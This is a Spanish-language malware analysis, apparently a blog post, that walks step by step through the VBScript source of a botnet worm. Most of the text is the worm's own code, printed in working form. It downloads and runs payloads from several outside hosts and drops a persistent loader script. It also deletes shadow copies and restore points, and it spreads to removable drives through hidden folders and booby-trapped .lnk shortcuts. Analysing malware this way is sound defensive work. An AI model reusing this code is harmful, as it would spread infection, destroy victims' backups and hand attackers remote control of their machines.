Continuamos
con el análisis.
En el trozo de código que se muestra a
continuación se procede a realizar varias tareas de usa sola tirada:
1.- Se accede a la carpeta “\system32\drivers”
para renombrar el archivo: “flpydisk.sys”
por el nombre: “flpydisk.sy_”. La
ubicación de la carpeta a la que se ha accedido depende del contenido de la
variable del sistema: “systemroot”.
NOTA: Habitualmente el contenido
de esta variable será: “C:\Windows”
2.- Tras esta acción se procederá a eliminar a
los siguientes archivos:
2.1.-
\security\system.bat
2.2.-
\security\system.exe
2.3.-
\kernel\explorer.exe
2.4.-
\kernel\update.exe
2.5.- reskp.exe
Las cuatro primeras eliminaciones se ubican en
la carpeta indicada por el contenido de la variable del sistema: “systemdrive”, que normalmente contendrá
el valor: “C:”
Hay que recordar que estas carpetas han sido
creadas por el propio código de la botnet, y permanecen con la propiedad “oculta” activada.
La última eliminación se ubica en la carpeta
indicada por el contenido de la variable: “temp”.
3.- Por último elimina el directorio: “system32” y todo su contenido, ubicado
en “C:”
Set oShell = WScript.CreateObject
("WScript.Shell")
oShell.run "cmd /K cd/d
%systemroot%\system32\drivers & ren flpydisk.sys flpydisk.sy_ &
del/f/q/s %systemdrive%\security\system.bat & del/f/q/s %systemdrive%\security\system.exe
& del/f/q/s %systemdrive%\kernel\explorer.exe & del/f/q/s
%systemdrive%\kernel\update.exe & del/f/q/s
""%temp%\reskp.exe"" & rd/q/s %systemdrive%\system32
& EXIT",0
Set
oShell = Nothing
En el trozo de código que se muestra a
continuación se procede a crear el archivo: “rescue.vbe” en la ruta marcada por la variable: “Allusersprofile”.
NOTA: Habitualmente el contenido
de esta variable será: “C:\ProgramData”
r00t=shell.ExpandEnvironmentStrings("%Allusersprofile%")
bkdr=r00t & "\rescue.vbe"
set fsO =
CreateObject("Scripting.FileSystemObject")
set f = fso.OpenTextFile(bkdr, ForWriting , true)
f.writeline "
On error resume Next "
f.writeline "
wscript.sleep 30000 " '
f.writeline " set
variable=createobject(""wscript.shell"") "
f.writeline " variable.run
""%systemroot%\system32\wscript.exe /e:VBScript.Encode
"""""&var1&"\kernel\r00t3r"",false
"
f.writeline "
wscript.sleep 300000 " '
f.writeline "
Set shell = WScript.CreateObject(""WScript.Shell"")
"
f.writeline "
Set WshShell =
Wscript.CreateObject(""Wscript.shell"") "
f.writeline "
tmpdir=shell.ExpandEnvironmentStrings(""%temp%"")
"
f.writeline "
set wshshell=createobject(""wscript.shell"") "
f.writeline "
mane = ""http://bootme.me.pn/"" "
f.writeline " yow = ""booter."" "
f.writeline "
fin = ""dat""
"
f.writeline "
strFileURL = ""
""&mane&""""&yow&""""&fin&""
"" "
f.writeline "
strHDLocation = tmpdir & ""\booter.dat"" "
f.writeline "
set objXMLHTTP =
CreateObject(""MSXML2.XMLHTTP"") "
f.writeline "
objXMLHTTP.open ""GET"", strFileURL, false "
f.writeline "
objXMLHTTP.send() "
f.writeline "
If objXMLHTTP.Status = 200 Then
"
f.writeline "
Set objADOStream = _ "
f.writeline "
CreateObject(""ADODB.Stream"") "
f.writeline "
objADOStream.Open "
f.writeline "
objADOStream.Type = 1 'adTypeBinary
"
f.writeline "
objADOStream. _ "
f.writeline "
Write _ "
f.writeline "
objXMLHTTP _ "
f.writeline "
.ResponseBody "
f.writeline "
objADOStream. _ "
f.writeline "
Position = 0 "
f.writeline "
Set objFSO = _ "
f.writeline "
Createobject(""Scripting.FileSystemObject"") "
f.writeline "
If objFSO. _ "
f.writeline "
Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation "
f.writeline "
Set objFSO = Nothing "
f.writeline "
objADOStream _ "
f.writeline " .SaveToFile strHDLocation "
f.writeline "
objADOStream.Close "
f.writeline "
Set objADOStream = Nothing
"
f.writeline "
End if "
f.writeline "
a = objXMLHTTP.getResponseHeader(""Content-Length"") "
f.writeline "
Set objXMLHTTP = Nothing "
f.writeline " set loFSO =
CreateObject(""Scripting.FileSystemObject"") "
f.writeline " loFSO.CopyFile
""""&tmpdir&""\booter.dat"",""""&tmpdir&""\reskp.exe"" "
f.writeline " loFSO.DeleteFile
""""&tmpdir&""\booter.dat"" "
f.writeline " Set oFSO =
CreateObject(""Scripting.FileSystemObject"") "
f.writeline " stFichier =
""""&tmpdir&""\reskp.exe"" "
f.writeline " Set oFl =
oFSO.GetFile(stFichier) "
f.writeline " b = oFl.size "
f.writeline " if """"&a&""""
= """"&b&"""" then "
f.writeline " set
variable=createobject(""wscript.shell"") "
f.writeline " variable.run
""""""""&tmpdir&""\reskp.exe"""""",0,False "
f.writeline " else "
f.writeline " end if "
f.close
Visualmente, el archivo creado es:
Archivo “rescue.vbe”
Este realizará
lo siguiente:
1.- Permanecerá
inactivo durante 30 segundos.
2.-
Codificara el archivo “r00t3r”
ubicado en la carpeta: “kernel”
3.-
Permanecerá inactivo durante otros 30 segundos
4.-
Realizará una petición basada en protocolo HTTP a la URL: http://bootme.pn/booter.dat
5.- Lo que
se descargue se descargará en la ubicación: “<carpeta temporal>/booter.dat”. Eso sí, si dicho archivo ya
existiera, lo eliminaría antes de nada.
6.- El
archivo descargado lo copia en la misma ubicación pero con el siguiente nombre:
“reskp.exe”
7.- Elimina
en archivo descargado: “booter.dat”
8.-
Ejecutamos el archivo: “reskp.exe”
Conclusiones: Estamos ante un procedimiento de
actualización.
On
error Resume NexT
En el trozo de código que se muestra a
continuación se procede a eliminar las copias de seguridad realizadas por el
propio sistema operativo.
Drive = ""
Set obj =
GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
ret=obj.Disable(Drive)
Set obj =
GetObject("winmgmts:{impersonationLevel=impersonate}!root/default:SystemRestore")
ret=obj.Enable(Drive)
ret=obj.Enable(Drive)
Set obj =
Nothing
set wshshell=createobject("wscript.shell")
Set oShell = WScript.CreateObject
("WScript.Shell")
oShell.run "cmd /K vssadmin delete shadows /all
/quiet & cd/d ""%systemdrive%\system volume
Information"" & del/f/s/q/a ""%systemdrive%\system
volume Information\*.*"" & EXIT",0
Set
oShell = Nothing
En el trozo de código que se muestra a
continuación se procede a ejecutar un bucle que permite parar la ejecución del
código durante un cierto tiempo.
prem = TotalTime
deux = Start
dern = PauseTime
While True
dern =
3600
deux =
Timer
Do While
Timer < deux + dern
En el trozo de código que se muestra a
continuación se procede a llamar al procedimiento: detectarracines.
detecterracines
Tras lo cual, se procede a dormir la ejecución del
código durante 1 segundo
wscript.sleep
1000
En
el trozo de código que se muestra a continuación se procede a ejecutar un bucle
que estará ejecutándose en todo momento que solicitará recursos de Internet.
Pasamos
a analizarlo.
Loop
En
el trozo de código que se muestra a continuación se procede a escribir el valor
0 en la clave de registro:
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools"
WScript.CreateObject("WScript.Shell").RegWrite
"HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,
"REG_DWORD"
En
el trozo de código que se muestra a continuación se procede a realizar una
petición hacia Internet solicitando la siguiente URL:
http://registered.co.nf
oN eRroR rEsumE NeXT
Set xmlHttp = CreateObject("MSXML2.ServerXMLHTTP")
urlCert = "http://registered.co.nf/"
xmlHttp.Open "GET", urlCert, False
xmlHttp.Send ""
xmlHttp.Abort
En
el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo
HTTP a la URL: http://timalin.99k.org/system.txt
2.- Lo que
se descargue se descargará en la ubicación: “C:\security\system.txt”. Eso sí, si dicho archivo ya existiera, lo
eliminaría antes de nada.
3.- El
archivo descargado lo copia en la misma ubicación pero con el siguiente nombre:
“system.bat”
4.- Elimina
en archivo descargado: “system.txt”
5.-
Ejecutamos el archivo: “system.bat”
set wshshell=createobject("wscript.shell")
first = "http://timalin.99k.org/"
secon = "system."
ext = "txt"
strFileURL =
""&first&""&secon&""&ext&""
third =
""&var1&"\security\"
strHDLocation =
""&third&""&secon&""&ext&""
set objXMLHTTP =
CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set
objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write
objXMLHTTP.ResponseBody objADOStream.Position = 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation)
Then objFSO.DeleteFile strHDLocation
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set
objADOStream = Nothing
End if
a =
objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO =
CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile
""&third&"system.txt",""&third&"system.bat"
loFSO.DeleteFile
""&third&"system.txt"
Set oFSO =
CreateObject("Scripting.FileSystemObject")
stFichier = ""&third&"system.bat"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" =
""&b&"" then
set variable=createobject("wscript.shell")
variable.run
""""&var1&"\security\system.bat""",0,False
else
end
if
En
el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo
HTTP a la URL: http://ttimalin.0fees.net/system.jpg
2.- Lo que
se descargue se descargará en la ubicación: “C:\security\system.jpg”. Eso sí, si dicho archivo ya existiera, lo
eliminaría antes de nada.
3.- El
archivo descargado lo copia en la misma ubicación pero con el siguiente nombre:
“system.exe”
4.- Elimina
en archivo descargado: “system.jpg”
5.-
Ejecutamos el archivo: “system.exe”
set
wshshell=createobject("wscript.shell")
first =
"http://ttimalin.0fees.net/"
secon =
"system."
ext =
"jpg"
strFileURL =
""&first&""&secon&""&ext&""
third =
""&var1&"\security\"
strHDLocation =
""&third&""&secon&""&ext&""
set objXMLHTTP
= CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open
"GET", strFileURL, false
objXMLHTTP.send()
If
objXMLHTTP.Status = 200 Then
Set
objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write
objXMLHTTP.ResponseBody
objADOStream.Position
= 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.
Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO =
Nothing
objADOStream.SaveToFile
strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
a =
objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP
= Nothing
set loFSO =
CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile
""&third&"system.jpg",""&third&"system.exe"
loFSO.DeleteFile
""&third&"system.jpg"
Set oFSO =
CreateObject("Scripting.FileSystemObject")
stFichier =
""&third&"system.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" =
""&b&"" then
set
variable=createobject("wscript.shell")
variable.run
""""&var1&"\security\system.exe""",0,False
else
end
if
En
el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo
HTTP a la URL: http://d0n10ader.sxq.net/explorer.jpg
2.- Lo que
se descargue se descargará en la ubicación: “C:\kernel\explorer.jpg”. Eso sí, si dicho archivo ya existiera, lo
eliminaría antes de nada.
3.- El
archivo descargado lo copia en la misma ubicación pero con el siguiente nombre:
“explorer.exe”
4.- Elimina
en archivo descargado: “explorer.jpg”
5.-
Ejecutamos el archivo: “explorer.exe”
set wshshell=createobject("wscript.shell")
first = "http://d0nl0ader.zxq.net/"
secon = "explorer."
ext = "jpg"
strFileURL =
""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation =
""&third&""&secon&""&ext&""
set objXMLHTTP =
CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set
objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.
Position = 0
Set objFSO =
Createobject("Scripting.FileSystemObject")
If objFSO.
Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO =
Nothing
objADOStream.SaveToFile
strHDLocation
objADOStream.Close
Set
objADOStream = Nothing
End if
a = objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO =
CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile
""&var1&"\kernel\explorer.jpg",""&var1&"\kernel\explorer.exe"
loFSO.DeleteFile
""&var1&"\kernel\explorer.jpg"
Set oFSO =
CreateObject("Scripting.FileSystemObject")
stFichier =
""&third&"explorer.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" =
""&b&"" then
set variable=createobject("wscript.shell")
variable.run
""""&var1&"\Kernel\explorer.exe""",0,False
else
end
if
En
el trozo de código que se muestra a continuación se procede a realizar:
1.- Realizará una petición basada en protocolo
HTTP a la URL: http://r000t3r.zzl.org/update.jpg
2.- Lo que
se descargue se descargará en la ubicación: “C:\kernel\update.jpg”. Eso sí, si dicho archivo ya existiera, lo
eliminaría antes de nada.
3.- El
archivo descargado lo copia en la misma ubicación pero con el siguiente nombre:
“update.exe”
4.- Elimina
en archivo descargado: “update.jpg”
5.-
Ejecutamos el archivo: “update.exe”
set wshshell=createobject("wscript.shell")
first = "http://r000t3r.zzl.org/"
secon = "update."
ext = "jpg"
strFileURL =
""&first&""&secon&""&ext&""
third = ""&var1&"\kernel\"
strHDLocation =
""&third&""&secon&""&ext&""
set objXMLHTTP =
CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set
objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position
= 0
Set objFSO = Createobject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation)
Then objFSO.DeleteFile strHDLocation
Set objFSO =
Nothing
objADOStream.SaveToFile
strHDLocation
objADOStream.Close
Set objADOStream
= Nothing
End if
a =
objXMLHTTP.getResponseHeader("Content-Length")
Set objXMLHTTP = Nothing
set loFSO =
CreateObject("Scripting.FileSystemObject")
loFSO.CopyFile
""&var1&"\kernel\update.jpg",""&var1&"\kernel\Update.exe"
loFSO.DeleteFile ""&var1&"\kernel\update.jpg"
Set oFSO =
CreateObject("Scripting.FileSystemObject")
stFichier =
""&third&"Update.exe"
Set oFl = oFSO.GetFile(stFichier)
b = oFl.size
if ""&a&"" =
""&b&"" then
set
variable=createobject("wscript.shell")
variable.run
""""&var1&"\kernel\Update.exe""",0,False
else
end if
Y finaliza el bucle.
Wend
En el trozo de código que se muestra a
continuación se procede a analizar el procedimiento: ”detecterracines()”
sub detecterracines()
set fsO =
CreateObject("Scripting.FileSystemObject")
set wshshell=createobject("wscript.shell")
Dim fso, d, dc, s, n
En el trozo de código que se muestra a
continuación se procede a obtener todas las unidades creadas por el sistema.
Set
dc = fso.Drives
Y para cada una de ellas…
For Each d in dc
racine
= d.Driveletter & ":"
Se determina el tipo de unidad que es …
u=
detectamovibles(racine)
Si la unidad es de tipo “Amovible” o “Fixe”,
está preparada y no es la unidad “A:”, entonces…
if u = "Amovible" or u = "Fixe" and d.isready and
racine <> "A:" then
set fsO =
CreateObject("Scripting.FileSystemObject")
Se determina la existencia del archivo
“config.dat” en la unidad analizada
if fsO.FileExists(""&d&"\config.dat") Then
Si existe, se determina la cantidad de datos
que contiene:
1.- Si tiene más de 20 líneas, entonces se
copia el contenido de las carpetas “c:\security”
y “c:\kernel” en la unidad
analizada, si establecen las propiedades de: “sistema” y “oculto”.
2.- Si tiene menos de 20 líneas, entonces se
elimina el archivo “config.dat” de la
unidad analizada.
3.- Si tiene 20 líneas, entonces se comprueba
la diferencia entra la fecha del archivo “config.dat”
y la fecha del sistema. Si la diferencia fuera inferior a “0”, entonces se elimina el archivo “config.dat” de la unidad y se copia en su lugar el archivo “blood.dat” ubicado en la carpeta: “C:\security”
Dim oFso, f
Dim ts, nl
Set
oFso = CreateObject("Scripting.FileSystemObject")
Set
f = oFso.OpenTextFile(""&d&"\config.dat",
ForReading)
ts
= f.ReadAll
if
""&f.line&"" > 20 then
f.close
Set oShell =
WScript.CreateObject ("WScript.Shell")
oShell.run
"cmd /K del/f/q/A ""%systemdrive%\security\*.dat""
& xcopy /C /H /Y /R """&d&"\config.dat""
""%systemdrive%\security"" & attrib -s -h
""%systemdrive%\security\*.*"" & ren
""%systemdrive%\security\*.*"" blood.dat & EXIT",0
oShell.run "cmd /K
del/f/q/A ""%systemdrive%\kernel\*.dat"" & xcopy /C /H
/Y /R """&d&"\config.dat""
""%systemdrive%\kernel"" & attrib -s -h
""%systemdrive%\kernel\*.*"" & ren
""%systemdrive%\kernel\*.*"" r00t3r & attrib +s +h
""%systemdrive%\kernel\*.*"" & EXIT",0
Set oShell = Nothing
end if
Set oFso =
CreateObject("Scripting.FileSystemObject")
Set f =
oFso.OpenTextFile(""&d&"\config.dat", ForReading)
ts = f.ReadAll
if
""&f.line&"" < 20 then
f.close
set fsO =
CreateObject("Scripting.FileSystemObject")
fso.deletefile(""&d&"\config.dat"),true
end if
Set oFso = CreateObject("Scripting.FileSystemObject")
Set f =
oFso.OpenTextFile(""&d&"\config.dat", ForReading)
ts = f.ReadAll
if
""&f.line&"" = 20 then
f.close
Dim stFichier
Dim oFl
Set oFSO = CreateObject("Scripting.FileSystemObject")
stFichier =
""&d&"\config.dat"
Set oFl = oFSO.GetFile(stFichier)
Set f = ofso.GetFile(stFichier)
fdate = f.DateLastModified
fname = f.Name
dtDiffFile = DateDiff("d", Now, fdate)
If
dtDiffFile < 0 Then
fso.DeleteFile(stFichier),true
Dim oShell
Set oShell = WScript.CreateObject ("WScript.Shell")
oShell.run "cmd /K cd/d
""%systemdrive%\security"" & copy /b /y blood.dat +
& EXIT",0
Set oShell = Nothing
end if
end if
else
Si el archivo “config.dat” no existe, se pasa a
:
1.- Generar un archivo de nombre: “tmp.bat” en la carpeta temporal del
sistema, en donde se almacenará el siguiente código.
Contenido del archivo: “tmp.bat”
El código hace lo siguiente:
1.- Elimina de la unidad todo archivo con
extensión: “.vbe”, “.lnk”, así como los archivos: “config.dat”, “autorun.dat” y “microsoft.dat”
2.- Copia el archivo: “blood.dat”, ubicado en la carpeta: “c:\security”, a la unidad seleccionada con el nombre: “config.dat”
3.- Al nuevo archivo “config.dat” copia anteriormente se le otorgan las propiedades del “sistema” y “oculto”.
4.- Elimina de la unidad “C:” el archivo: “autorun.inf”,
así como todos los archivos con extensión “.lnk”
tmpdir=shell.ExpandEnvironmentStrings("%temp%")
nomficl=tmpdir &
"\tmp.bat"
set f = fso.OpenTextFile(nomficl, ForWriting , true)
f.writeline "del/f/q/a """&d&"\*.vbe""
"
f.writeline
"del/f/q/a """&d&"\*.lnk"" "
f.writeline
"del/f/q/a """&d&"\config.dat""
"
f.writeline
"del/f/q/a """&d&"\autorun.inf""
"
f.writeline
"del/f/q/a """&d&"\microsoft.dat""
"
f.writeline
"xcopy /C /H /Y /R """&MyF&"""
"""&d&"\"" "
f.writeline
"ren """&d&"\blood.dat"" config.dat
"
f.writeline "attrib +s +H
"""&d&"\config.dat"" "
f.writeline "del/f/q/a
""%systemdrive%\*.lnk"" "
f.writeline "del/f/q/a
""%systemdrive%\autorun.inf"" "
f.close
Se ejecuta el archivo “tmp.bat”
set variable = createobject("wscript.shell")
variable.run ""&nomficl&"" ,0,true
fso.DeleteFile nomficl, true
Const ForWriting = 2
RootFolder =
""&d&""
Ahora, por cada subdirectorio de la unidad, se
crea un archivo de tipo “.lnk”, que
antes de acceder al subdirectorio ejecutará el archivo “config.dat”. El subdirectorio es configurado con las propiedades
de: “solo lectura”, “oculto” y “del sistema”.
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFSO.GetFolder(RootFolder)
Set colSubfolders = objFolder.Subfolders
For Each objSubfolder in colSubfolders
exit for
next
set oShell = CreateObject("WScript.Shell")
sDesktop = WSHShell.SpecialFolders("Desktop")
set oSLink =
WSHShell.CreateShortcut(""&d&"\"&objSubfolder.Name&".lnk")
strTarget = oShell.ExpandEnvironmentStrings("%windir%")
oSLink.TargetPath = strTarget & "\system32\cmd.exe"
oSLink.Arguments = "/c start WScRiPt.EXe /e:VBScRIpt.ENcOdE
config.dat & C:\WINDOWS\explorer.exe
"&objSubfolder.Name&" "
oSLink.WindowStyle = 7
oSLink.IconLocation = "%SystemRoot%\system32\SHELL32.dll,-4"
oSLink.Save
on error resume next
Set objFSo = CreateObject("scripting.FileSystemObject")
Set objFile =
objFSo.GetFile(""&d&"\"&objSubfolder.Name&".lnk")
objFile.Attributes = 1
Set objFSO = CreateObject("Scripting.FileSystemObject" )
Set
objFolder =
objFSO.GetFolder(""&d&"\"&objSubfolder.Name&"")
objFolder.Attributes =
objFolder.Attributes XOR 6
end if
end
if
Next
end sub
Conclusión: Estamos ante el
procedimiento que permite ejecutar el vector de infección.
En el trozo de código que se muestra a
continuación se puede ver la función: ”detectamovibles()”,
que permite determinar el tipo de unidad que se le pasa como parámetro.
Function detectamovibles(drvpath)
Dim fso, d, s, t
set fsO =
CreateObject("Scripting.FileSystemObject")
Set d =
fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(drvpath)))
Select Case d.DriveType
Case 1: t = "Amovible"
Case 2: t = "Fixe"
End Select
detectamovibles = t
End Function
GRACIAS A:
'========================================================================================='
'
' C0d3 N4me : S4-|-4|\| |30-|-
' Cr34t0r : GRICCO
' Created for personal use , modifications or others
are not authorized
' For more informations, looking 4 me { - CNG4L }
'
'========================================================================================='
POR FIN ... ¡FIN!